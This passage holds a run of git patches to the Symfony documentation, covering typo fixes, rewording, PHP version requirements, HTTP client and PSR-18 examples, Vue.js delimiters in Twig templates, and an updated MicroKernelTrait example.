+/redirection_test /session/database.html#store-sessions-in-a-nosql-database-mongodb

From 72e20e67fc2e76f84dbfc2e01cf2e86149d0b6bf Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Tue, 30 Jun 2020 16:31:11 +0200
Subject: [PATCH 0940/7107] Fix typo in the docs

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index ce45021d3f1..ce863b7e319 100644
--- a/testing.rst
+++ b/testing.rst
@@ -213,7 +213,7 @@ Now you can use CSS selectors with the crawler. To assert that the phrase
     $this->assertSelectorTextContains('html h1.title', 'Hello World');
 
 This assertion checks if the first element matching the CSS selector contains
-the given text. This asserts calls ``$crawler->filter('html h1.title')``
+the given text. This assert calls ``$crawler->filter('html h1.title')``
 internally, which allows you to use CSS selectors to filter any HTML element in
 the page and check for its existence, attributes, text, etc.
 

From b41b378e63ad2a630c7fcbb8e84d377236ca79b9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 30 Jun 2020 12:45:06 +0200
Subject: [PATCH 0941/7107] Update form_collections.rst

Simplifying the code block. Second part of https://github.com/symfony/symfony-docs/pull/13446
---
 form/form_collections.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 13ed8781709..02ebe3f3680 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -227,8 +227,6 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
     public function buildForm(FormBuilderInterface $builder, array $options)
     {
-        $builder->add('description');
-
         $builder->add('tags', CollectionType::class, [
             'entry_type' => TagType::class,
             'entry_options' => ['label' => false],

From 0a7d4999ccd14437a9e98707a9554a18dde7f5a5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Jul 2020 09:51:01 +0200
Subject: [PATCH 0942/7107] Minor tweak

---
 form/form_collections.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 02ebe3f3680..a210dd4b325 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -227,6 +227,8 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
     public function buildForm(FormBuilderInterface $builder, array $options)
     {
+        // ...
+
         $builder->add('tags', CollectionType::class, [
             'entry_type' => TagType::class,
             'entry_options' => ['label' => false],

From 3b9b881f0dba70424ba569db3af1ce84a395105e Mon Sep 17 00:00:00 2001
From: Linas Linartas <linas@linartas.lt>
Date: Wed, 1 Jul 2020 14:09:18 +0300
Subject: [PATCH 0943/7107] [Messenger] Update messenger.rst

Fix plural form issue: "send messages to multiple transport" to "multiple transports".
---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 908c5e96a7f..548e6ec4b50 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -255,7 +255,7 @@ transport and its handler(s) will *not* be called immediately. Any messages not
 matched under ``routing`` will still be handled immediately.
 
 You can also route classes by their parent class or interface. Or send messages
-to multiple transport:
+to multiple transports:
 
 .. configuration-block::
 

From 8574f41d17f59d24104a2cb5b16485275a100a37 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 1 Jul 2020 13:39:50 +0200
Subject: [PATCH 0944/7107] Update serializer.rst

---
 components/serializer.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 3191276ae8b..4fe9e67c1ad 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -830,8 +830,7 @@ always as a collection.
 .. tip::
 
     XML comments are ignored by default when decoding contents, but this
-    behavior can be changed with the optional ``$decoderIgnoredNodeTypes`` argument of
-    the ``XmlEncoder`` class constructor.
+    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
 
     Data with ``#comment`` keys are encoded to XML comments by default. This can be
     changed with the optional ``$encoderIgnoredNodeTypes`` argument of the

From 5dcf3e9b04c939e5f8eb9daf678c15ab4ea01f55 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 1 Jul 2020 13:52:46 +0200
Subject: [PATCH 0945/7107] Update serializer.rst

---
 components/serializer.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index b8fe7a7b5f0..3013973cef1 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -942,9 +942,7 @@ Use the special ``#`` key to define the data of a node::
     // is encoded as follows:
     // <?xml version="1.0"?>
     // <response>
-    //     <foo bar="value">
-    //        baz
-    //     </foo>
+    //     <foo bar="value">baz</foo>
     // </response>
 
 Context

From 77dbc19be4c5a64aa9321d27db1183b9c42b0e8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Jul 2020 15:07:25 +0200
Subject: [PATCH 0946/7107] Reword

---
 doctrine/events.rst | 40 ++++++++++++++++++++++++----------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 98a3c08832c..4cee3ebe4e9 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -239,7 +239,7 @@ define a listener for the ``postUpdate`` Doctrine event::
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function checkUserChanges(User $user, LifecycleEventArgs $event)
+        public function postUpdate(User $user, LifecycleEventArgs $event)
         {
             // ... do something to notify the changes
         }
@@ -260,21 +260,23 @@ with the ``doctrine.orm.entity_listener`` tag:
             App\EventListener\UserChangedNotifier:
                 tags:
                     -
-                        # these are the basic options that define the entity listener
+                        # these are the options required to define the entity listener
                         name: 'doctrine.orm.entity_listener'
                         event: 'postUpdate'
                         entity: 'App\Entity\User'
 
+                        # these are other options that you may define if needed
+
                         # set the 'lazy' option to TRUE to only instantiate listeners when they are used
-                        lazy: true
+                        # lazy: true
 
-                        # you can also associate an entity listener to a specific entity manager
-                        entity_manager: 'custom'
+                        # set the 'entity_manager' option if the listener is not associated to the default manager
+                        # entity_manager: 'custom'
 
                         # by default, Symfony looks for a method called after the event (e.g. postUpdate())
                         # if it doesn't exist, it tries to execute the '__invoke()' method, but you can
                         # configure a custom method name with the 'method' option
-                        method: 'checkUserChanges'
+                        # method: 'checkUserChanges'
 
     .. code-block:: xml
 
@@ -287,11 +289,15 @@ with the ``doctrine.orm.entity_listener`` tag:
 
                 <service id="App\EventListener\UserChangedNotifier">
                     <!--
-                        * 'event' and 'entity' are the basic options that define the entity listener
-                        * 'lazy': if TRUE, listeners are only instantiated when they are used
-                        * 'entity_manager': define it if the listener is not associated to the
-                        *                   default entity manager
-                        * 'method': by default, Symfony looks for a method called after the event (e.g. postUpdate())
+                        * These are the options required to define the entity listener:
+                        *   * name
+                        *   * event
+                        *   * entity
+                        *
+                        * These are other options that you may define if needed:
+                        *   * lazy: if TRUE, listeners are only instantiated when they are used
+                        *   * entity_manager: define it if the listener is not associated to the default manager
+                        *   * method: by default, Symfony looks for a method called after the event (e.g. postUpdate())
                         *           if it doesn't exist, it tries to execute the '__invoke()' method, but
                         *           you can configure a custom method name with the 'method' option
                     -->
@@ -313,20 +319,22 @@ with the ``doctrine.orm.entity_listener`` tag:
 
         $container->autowire(UserChangedNotifier::class)
             ->addTag('doctrine.orm.entity_listener', [
-                // these are the basic options that define the entity listener
+                // These are the options required to define the entity listener:
                 'event' => 'postUpdate',
                 'entity' => User::class,
 
+                // These are other options that you may define if needed:
+
                 // set the 'lazy' option to TRUE to only instantiate listeners when they are used
-                'lazy' => true,
+                // 'lazy' => true,
 
-                // you can also associate an entity listener to a specific entity manager
-                'entity_manager' => 'custom',
+                // set the 'entity_manager' option if the listener is not associated to the default manager
+                // 'entity_manager' => 'custom',
 
                 // by default, Symfony looks for a method called after the event (e.g. postUpdate())
                 // if it doesn't exist, it tries to execute the '__invoke()' method, but you can
                 // configure a custom method name with the 'method' option
-                'method' => 'checkUserChanges',
+                // 'method' => 'checkUserChanges',
             ])
         ;
 

From abcb1839877fa2b08cd740af659a219815a3a26b Mon Sep 17 00:00:00 2001
From: Daniel Siepmann <coding@daniel-siepmann.de>
Date: Wed, 1 Jul 2020 14:41:13 +0200
Subject: [PATCH 0947/7107] Update docs regarding 2nd argument of DomCrawler
 text()

The 2nd Argument is true by default, therefore whitespace is trimmed by default.
Passing false will alter the default behaviour.

Previous documentation suggested the other way around.
---
 components/dom_crawler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 8bc6a093fc8..cda18b47662 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -220,9 +220,9 @@ Access the value of the first node of the current selection::
     // avoid the exception passing an argument that text() returns when node does not exist
     $message = $crawler->filterXPath('//body/p')->text('Default text content');
 
-    // pass TRUE as the second argument of text() to remove all extra white spaces, including
+    // pass false as the second argument of text() to not remove all extra white spaces, including
     // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
-    $crawler->filterXPath('//body/p')->text('Default text content', true);
+    $crawler->filterXPath('//body/p')->text('Default text content', false);
 
 Access the attribute value of the first node of the current selection::
 

From d182a48bad37b8e35b094402ba57703b5028586c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Jul 2020 17:24:04 +0200
Subject: [PATCH 0948/7107] Reword

---
 components/dom_crawler.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index cda18b47662..eb0e6850ccd 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -220,8 +220,9 @@ Access the value of the first node of the current selection::
     // avoid the exception passing an argument that text() returns when node does not exist
     $message = $crawler->filterXPath('//body/p')->text('Default text content');
 
-    // pass false as the second argument of text() to not remove all extra white spaces, including
-    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
+    // by default, text() trims white spaces, including the internal ones
+    // (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
+    // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
 Access the attribute value of the first node of the current selection::

From 8ddf98d19736466a4a35252871fbf3fcc34e0c92 Mon Sep 17 00:00:00 2001
From: Alexander Grimalovsky <alexander.grimalovsky@gmail.com>
Date: Wed, 1 Jul 2020 22:50:58 +0300
Subject: [PATCH 0949/7107] Fixed minimum PHP version for v4.4

Minimum PHP version for Symfony 4.4 is 7.1.3, but documentation doesn't reflect this change and keep same version as 3.x
---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 92d672f8e1f..74048987ced 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -25,7 +25,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 5.5.9 or above.
+* PHP version 7.1.3 or above.
 
 Configure Git
 ~~~~~~~~~~~~~

From 377c0c0d544277b48879e918f515bc2f1142c423 Mon Sep 17 00:00:00 2001
From: Alexander Grimalovsky <alexander.grimalovsky@gmail.com>
Date: Wed, 1 Jul 2020 22:55:10 +0300
Subject: [PATCH 0950/7107] Fixed mention of minimum PHP version for v5.x

Minimum PHP version for Symfony 5.x is 7.2.5, but documentation doesn't reflect this change and keep same PHP version as 3.x.
---
 contributing/code/pull_requests.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 74048987ced..ee8ce72825b 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -25,7 +25,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 7.1.3 or above.
+* PHP version 7.2.5 or above.
 
 Configure Git
 ~~~~~~~~~~~~~
@@ -193,8 +193,8 @@ want to debug are installed by running ``composer install`` inside it.
 
 .. tip::
 
-    If symlinks to your local Symfony fork cannot be resolved inside your project due to 
-    your dev environment (for instance when using Vagrant where only the current project 
+    If symlinks to your local Symfony fork cannot be resolved inside your project due to
+    your dev environment (for instance when using Vagrant where only the current project
     directory is mounted), you can alternatively use the ``--copy`` option.
 
 .. _work-on-your-patch:

From ebb0a881f5a7700751aa2f1b2df39b7a486bb03a Mon Sep 17 00:00:00 2001
From: Linas Linartas <linas@linartas.lt>
Date: Fri, 3 Jul 2020 08:15:59 +0300
Subject: [PATCH 0951/7107] [Mailer] Update mailer.rst

Add `twig/extra-bundle` to the Markdown Extra Installation Instructions
---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 347268b05f4..97a3dca00d7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -526,7 +526,7 @@ several popular libraries):
 .. code-block:: terminal
 
     # instead of league/commonmark, you can also use erusev/parsedown or michelf/php-markdown
-    $ composer require twig/markdown-extra league/commonmark
+    $ composer require twig/extra-bundle twig/markdown-extra league/commonmark
 
 The extension adds a ``markdown_to_html`` filter, which you can use to convert parts or
 the entire email contents from Markdown to HTML:

From ca6f95f9ce2a8b824353ae2f09322e9b49252ba5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 4 Jul 2020 13:51:28 +0200
Subject: [PATCH 0952/7107] HTTP client is enabled by default when installed

This also improves some wordings for the interopability interfaces, to document
all autowiring aliases.
---
 http_client.rst | 80 ++++++++++++++++++++++++-------------------------
 1 file changed, 40 insertions(+), 40 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a3ff12e0a1a..e3feb5a873b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -23,8 +23,10 @@ supports synchronous and asynchronous operations. You can install it with:
 Basic Usage
 -----------
 
-Use the :class:`Symfony\\Component\\HttpClient\\HttpClient` class to create the
-low-level HTTP client that makes requests, like the following ``GET`` request:
+Use the :class:`Symfony\\Component\\HttpClient\\HttpClient` class to make
+requests. In the Symfony framework, this class is available as the
+``http_client`` service. This service will be :doc:`autowired </service_container/autowiring>`
+automatically when type-hinting for :class:`Symfony\\Component\\HttpClient\\HttpClientInterface`:
 
 .. configuration-block::
 
@@ -77,38 +79,11 @@ low-level HTTP client that makes requests, like the following ``GET`` request:
         $content = $response->toArray();
         // $content = ['id' => 521583, 'name' => 'symfony-docs', ...]
 
-In the Symfony framework, you have to enable the HTTP client integration in
-order for the ``HttpClientInterface`` to be :doc:`autowired </service_container/autowiring>`
-automatically:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            http_client: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+.. tip::
 
-            <framework:config http-client="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => true,
-        ]);
+    The HTTP client is interopable with many common HTTP client abstractions in
+    PHP. You can also use any of these abstractions to profit from autowirings.
+    See `Interoperability`_ for more information.
 
 Configuration
 -------------
@@ -1202,17 +1177,42 @@ To use it, you need the ``psr/http-client`` package and a `PSR-17`_ implementati
     # any already installed implementations from common vendors:
     # composer require php-http/discovery
 
-Now you can make HTTP requests with the PSR-18 client as follows::
+Now you can make HTTP requests with the PSR-18 client as follows:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Psr\Http\Client\ClientInterface;
+
+        class Symfony
+        {
+            private $client;
+
+            public function __construct(ClientInterface $client)
+            {
+                $this->client = $client;
+            }
+
+            public function getAvailableVersions(): array
+            {
+                $request = $this->client->createRequest('GET', 'https://symfony.com/versions.json');
+                $response = $this->client->sendRequest($request);
+
+                return json_decode($response->getBody()->getContents(), true);
+            }
+        }
+
+    .. code-block:: php-standalone
 
-    use Symfony\Component\HttpClient\Psr18Client;
+        use Symfony\Component\HttpClient\Psr18Client;
 
-    $client = new Psr18Client();
+        $client = new Psr18Client();
 
-    $url = 'https://symfony.com/versions.json';
-    $request = $client->createRequest('GET', $url);
-    $response = $client->sendRequest($request);
+        $request = $client->createRequest('GET', 'https://symfony.com/versions.json');
+        $response = $client->sendRequest($request);
 
-    $content = json_decode($response->getBody()->getContents(), true);
+        $content = json_decode($response->getBody()->getContents(), true);
 
 .. versionadded:: 4.4
 

From c5cf54e840e3f4cc14854d031ddb4e17bdab5089 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sun, 5 Jul 2020 11:10:30 +0200
Subject: [PATCH 0953/7107] Update phpunit_bridge.rst

---
 components/phpunit_bridge.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index c5a85265f8c..9d546f0e96b 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -425,16 +425,16 @@ call to the ``doSetUp()``, ``doTearDown()``, ``doSetUpBeforeClass()`` and
 
     class MyTest extends TestCase
     {
-        // when using the SetUpTearDownTrait, methods like doSetup() can
+        // when using the SetUpTearDownTrait, methods like doSetUp() can
         // be defined with and without the 'void' return type, as you wish
         use SetUpTearDownTrait;
 
-        private function doSetup()
+        private function doSetUp()
         {
             // ...
         }
 
-        protected function doSetup(): void
+        protected function doSetUp(): void
         {
             // ...
         }

From 3bf63947733297117bb2e1a77430f257a7506521 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 26 Jun 2020 16:27:45 +0100
Subject: [PATCH 0954/7107] Add twig vue js tip

---
 frontend/encore/vuejs.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index d6ba32e0d2f..cc167b240de 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -155,6 +155,24 @@ you can import them with ``require()`` function:
         }
     }
 
+Embeded with Twig
+-----------------
+
+You can of course, inside a Twig template rendered from a controller,
+instantiate a Vue.js app as any other JavaScript code.
+
+.. tip::
+
+    You may in this case leverage the delimiters options
+ to not overlap with Twig ones.
+    For example, using `delimiters: ['${', '}$']` inside the Vue.js instance.
+ 
+ .. code-block:: twig
+ 
+    {{ twig_var }} renders a Twig variable
+    ${ vuejs_var }$ renders a Vue.js variable
+
+
 .. _`Vue.js`: https://vuejs.org/
 .. _`vue-loader options`: https://vue-loader.vuejs.org/options.html
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js

From e29be27a79864dee7c31a0f49676612c64ba0d95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Jul 2020 11:21:00 +0200
Subject: [PATCH 0955/7107] Reword

---
 frontend/encore/vuejs.rst | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index eec52d27823..dd1227c9447 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -153,23 +153,21 @@ you can import them with ``require()`` function:
         }
     }
 
-Embeded with Twig
------------------
+Using Vue inside Twig templates
+-------------------------------
 
-You can of course, inside a Twig template rendered from a controller,
-instantiate a Vue.js app as any other JavaScript code.
+Twig templates can instantiate a Vue.js app in the same way as any other
+JavaScript code. However, given that both Twig and Vue.js use the same delimiters
+for variables, you should configure the ``delimiters`` Vue.js option to change
+the default variable delimiters.
 
-.. tip::
+If you set for example ``delimiters: ['${', '}$']``, then you can use the
+following in your Twig templates:
 
-    You may in this case leverage the delimiters options
- to not overlap with Twig ones.
-    For example, using `delimiters: ['${', '}$']` inside the Vue.js instance.
- 
  .. code-block:: twig
- 
-    {{ twig_var }} renders a Twig variable
-    ${ vuejs_var }$ renders a Vue.js variable
 
+    {{ twig_variable }}   {# renders a Twig variable #}
+    ${ vuejs_variable }$  {# renders a Vue.js variable #}
 
 .. _`Vue.js`: https://vuejs.org/
 .. _`vue-loader options`: https://vue-loader.vuejs.org/options.html

From 427d99285b51165d39ac251bea19b4759c8a573b Mon Sep 17 00:00:00 2001
From: Surfoo <surfooo@gmail.com>
Date: Mon, 29 Jun 2020 13:52:21 +0200
Subject: [PATCH 0956/7107] Fixed micro kernel demo

---
 configuration/micro_kernel_trait.rst | 62 ++++++++++++++++++++++++++--
 1 file changed, 58 insertions(+), 4 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 00f19d6a951..54fdbb54f0b 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -54,9 +54,7 @@ Next, create an ``index.php`` file that defines the kernel class and executes it
 
         protected function configureRoutes(RoutingConfigurator $routes)
         {
-            // kernel is a service that points to this class
-            // optional 3rd argument is the route name
-            $routes->add('/random/{limit}', 'kernel::randomNumber');
+            $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
         }
 
         public function randomNumber($limit)
@@ -151,7 +149,7 @@ hold the kernel. Now it looks like this::
             ];
 
             if ($this->getEnvironment() == 'dev') {
-                $bundles[] = new Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
+                $bundles[] = new \Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
             }
 
             return $bundles;
@@ -160,6 +158,7 @@ hold the kernel. Now it looks like this::
         protected function configureContainer(ContainerBuilder $c, LoaderInterface $loader)
         {
             $loader->load(__DIR__.'/../config/framework.yaml');
+            $loader->load(__DIR__.'/../config/services.yaml');
 
             // configure WebProfilerBundle only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
@@ -201,6 +200,61 @@ Before continuing, run this command to add support for the new dependencies:
 
     $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle doctrine/annotations
 
+You need add the following service configuration, which is the default config for a new project:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # default configuration for services in *this* file
+            _defaults:
+                autowire: true      # Automatically injects dependencies in your services.
+                autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
+
+            # makes classes in src/ available to be used as services
+            # this creates a service per class whose id is the fully-qualified class name
+            App\:
+                resource: '../src/*'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <!-- Default configuration for services in *this* file -->
+                    <defaults autowire="true" autoconfigure="true"/>
+
+                    <!-- makes classes in src/ available to be used as services -->
+                    <!-- this creates a service per class whose id is the fully-qualified class name -->
+                    <prototype namespace="App\" resource="../src/*"/>
+                </services>
+            </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $configurator) {
+            // default configuration for services in *this* file
+            $services = $configurator->services()
+                ->defaults()
+                    ->autowire()      // Automatically injects dependencies in your services.
+                    ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
+            ;
+
+            // makes classes in src/ available to be used as services
+            // this creates a service per class whose id is the fully-qualified class name
+            $services->load('App\\', '../src/*');
+        };
+
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 

From e1c35a5385d20f0f32e49de94de8f9e5428c129d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 7 Jul 2020 15:02:05 +0200
Subject: [PATCH 0957/7107] [#13919] Use ContainerConfigurator and fixes some
 bugs after testing the example code

---
 configuration/micro_kernel_trait.rst | 105 +++++++--------------------
 1 file changed, 27 insertions(+), 78 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 42da9fdeff2..84d8da1f028 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -24,8 +24,7 @@ Next, create an ``index.php`` file that defines the kernel class and executes it
 
     // index.php
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\Config\Loader\LoaderInterface;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
@@ -37,27 +36,27 @@ Next, create an ``index.php`` file that defines the kernel class and executes it
     {
         use MicroKernelTrait;
 
-        public function registerBundles()
+        public function registerBundles(): array
         {
             return [
-                new Symfony\Bundle\FrameworkBundle\FrameworkBundle()
+                new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
             ];
         }
 
-        protected function configureContainer(ContainerBuilder $c, LoaderInterface $loader)
+        protected function configureContainer(ContainerConfigurator $c): void
         {
             // PHP equivalent of config/packages/framework.yaml
-            $c->loadFromExtension('framework', [
+            $c->extension('framework', [
                 'secret' => 'S0ME_SECRET'
             ]);
         }
 
-        protected function configureRoutes(RoutingConfigurator $routes)
+        protected function configureRoutes(RoutingConfigurator $routes): void
         {
             $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
         }
 
-        public function randomNumber($limit)
+        public function randomNumber(int $limit): JsonResponse
         {
             return new JsonResponse([
                 'number' => random_int(0, $limit),
@@ -89,9 +88,9 @@ that define your bundles, your services and your routes:
 **registerBundles()**
     This is the same ``registerBundles()`` that you see in a normal kernel.
 
-**configureContainer(ContainerBuilder $c, LoaderInterface $loader)**
+**configureContainer(ContainerConfigurator $c)**
     This method builds and configures the container. In practice, you will use
-    ``loadFromExtension`` to configure different bundles (this is the equivalent
+    ``extension()`` to configure different bundles (this is the equivalent
     of what you see in a normal ``config/packages/*`` file). You can also register
     services directly in PHP or load external configuration files (shown below).
 
@@ -132,8 +131,7 @@ hold the kernel. Now it looks like this::
     namespace App;
 
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\Config\Loader\LoaderInterface;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
@@ -141,7 +139,7 @@ hold the kernel. Now it looks like this::
     {
         use MicroKernelTrait;
 
-        public function registerBundles()
+        public function registerBundles(): array
         {
             $bundles = [
                 new \Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
@@ -155,21 +153,27 @@ hold the kernel. Now it looks like this::
             return $bundles;
         }
 
-        protected function configureContainer(ContainerBuilder $c, LoaderInterface $loader)
+        protected function configureContainer(ContainerConfigurator $c): void
         {
-            $loader->load(__DIR__.'/../config/framework.yaml');
-            $loader->load(__DIR__.'/../config/services.yaml');
+            $c->import(__DIR__.'/../config/framework.yaml');
+
+            // register all classes in /src/ as service
+            $c->services()
+                ->load('App\\', __DIR__.'/*')
+                ->autowire()
+                ->autoconfigure()
+            ;
 
             // configure WebProfilerBundle only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $c->loadFromExtension('web_profiler', [
+                $c->extension('web_profiler', [
                     'toolbar' => true,
                     'intercept_redirects' => false,
                 ]);
             }
         }
 
-        protected function configureRoutes(RoutingConfigurator $routes)
+        protected function configureRoutes(RoutingConfigurator $routes): void
         {
             // import the WebProfilerRoutes, only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
@@ -178,17 +182,17 @@ hold the kernel. Now it looks like this::
             }
 
             // load the annotation routes
-            $routes->import(__DIR__.'/../src/Controller/', 'annotation');
+            $routes->import(__DIR__.'/Controller/', 'annotation');
         }
 
         // optional, to use the standard Symfony cache directory
-        public function getCacheDir()
+        public function getCacheDir(): string
         {
             return __DIR__.'/../var/cache/'.$this->getEnvironment();
         }
 
         // optional, to use the standard Symfony logs directory
-        public function getLogDir()
+        public function getLogDir(): string
         {
             return __DIR__.'/../var/log';
         }
@@ -200,61 +204,6 @@ Before continuing, run this command to add support for the new dependencies:
 
     $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle doctrine/annotations
 
-You need add the following service configuration, which is the default config for a new project:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # default configuration for services in *this* file
-            _defaults:
-                autowire: true      # Automatically injects dependencies in your services.
-                autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
-
-            # makes classes in src/ available to be used as services
